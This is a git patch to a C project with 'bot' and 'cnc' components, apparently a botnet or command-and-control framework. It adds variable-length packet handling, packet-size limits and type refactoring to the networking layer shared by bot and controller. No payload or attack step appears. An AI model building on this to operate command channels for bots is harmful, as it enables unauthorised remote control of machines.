From 22df7e3702cc0b2533bd6d82db6419fe82b4b91e Mon Sep 17 00:00:00 2001 From: CPunch Date: Tue, 25 Jan 2022 13:53:17 -0600 Subject: [PATCH] Added LAIKAPKT_VAR_REQ, enabling variable packets - additional minor refactoring --- bot/src/bot.c | 4 ++-- cnc/src/cnc.c | 4 ++-- lib/include/lpacket.h | 6 ++++++ lib/include/lpeer.h | 8 ++++---- lib/src/lpeer.c | 22 +++++++++++++++++++++- 5 files changed, 35 insertions(+), 9 deletions(-) diff --git a/bot/src/bot.c b/bot/src/bot.c index 338557c..2210060 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -2,11 +2,11 @@ #include "lerror.h" #include "bot.h" -size_t laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = { +LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = { [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) }; -void laikaB_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) { +void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) { switch (id) { case LAIKAPKT_HANDSHAKE_RES: { uint8_t endianness = laikaS_readByte(&peer->sock); diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 633fa90..c812edd 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -4,11 +4,11 @@ #include "cnc.h" -size_t laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = { +LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = { [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) }; -void laikaC_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) { +void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) { switch (id) { case LAIKAPKT_HANDSHAKE_REQ: { char magicBuf[LAIKA_MAGICLEN]; diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 612c6f1..9a26970 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -4,10 +4,16 @@ #define LAIKA_MAGIC "LAI\x12" #define LAIKA_MAGICLEN 4 +#define LAIKA_MAX_PKTSIZE 4096 + enum { LAIKAPKT_HANDSHAKE_REQ, LAIKAPKT_HANDSHAKE_RES, + LAIKAPKT_VARPKT_REQ, LAIKAPKT_MAXNONE }; +typedef uint8_t LAIKAPKT_ID; +typedef uint16_t LAIKAPKT_SIZE; + #endif \ No newline at end of file diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index 22b2ac6..8efba44 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -11,13 +11,13 @@ struct sLaika_peer { struct sLaika_pollList *pList; /* pollList we're active in */ void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData); void *uData; /* data to be passed to pktHandler */ - size_t *pktSizeTable; /* const table to pull pkt size data from */ - size_t pktSize; /* current pkt size */ - uint8_t pktID; /* current pkt ID */ + LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */ + LAIKAPKT_SIZE pktSize; /* current pkt size */ + LAIKAPKT_ID pktID; /* current pkt ID */ bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */ }; -struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData); +struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData); void laikaS_freePeer(struct sLaika_peer *peer); bool laikaS_handlePeerIn(struct sLaika_peer *peer); diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index ac16743..ab8dab2 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -2,7 +2,7 @@ #include "lmem.h" #include "lpeer.h" -struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData) { +struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData) { struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer)); laikaS_initSocket(&peer->sock); @@ -39,6 +39,26 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { peer->pktSize = peer->pktSizeTable[peer->pktID]; break; + case LAIKAPKT_VARPKT_REQ: + /* try grabbing pktID & size */ + if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK) + return false; + + if (recvd != sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE)) + LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ") + + peer->pktID = laikaS_readByte(&peer->sock); + + /* sanity check packet ID */ + if (peer->pktID >= LAIKAPKT_MAXNONE) + LAIKA_ERROR("received evil pktID!\n") + + /* try reading new packet size */ + laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE)); + + if (peer->pktSize > LAIKA_MAX_PKTSIZE) + LAIKA_ERROR("variable packet too large!") + break; default: /* try grabbing the rest of the packet */ if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)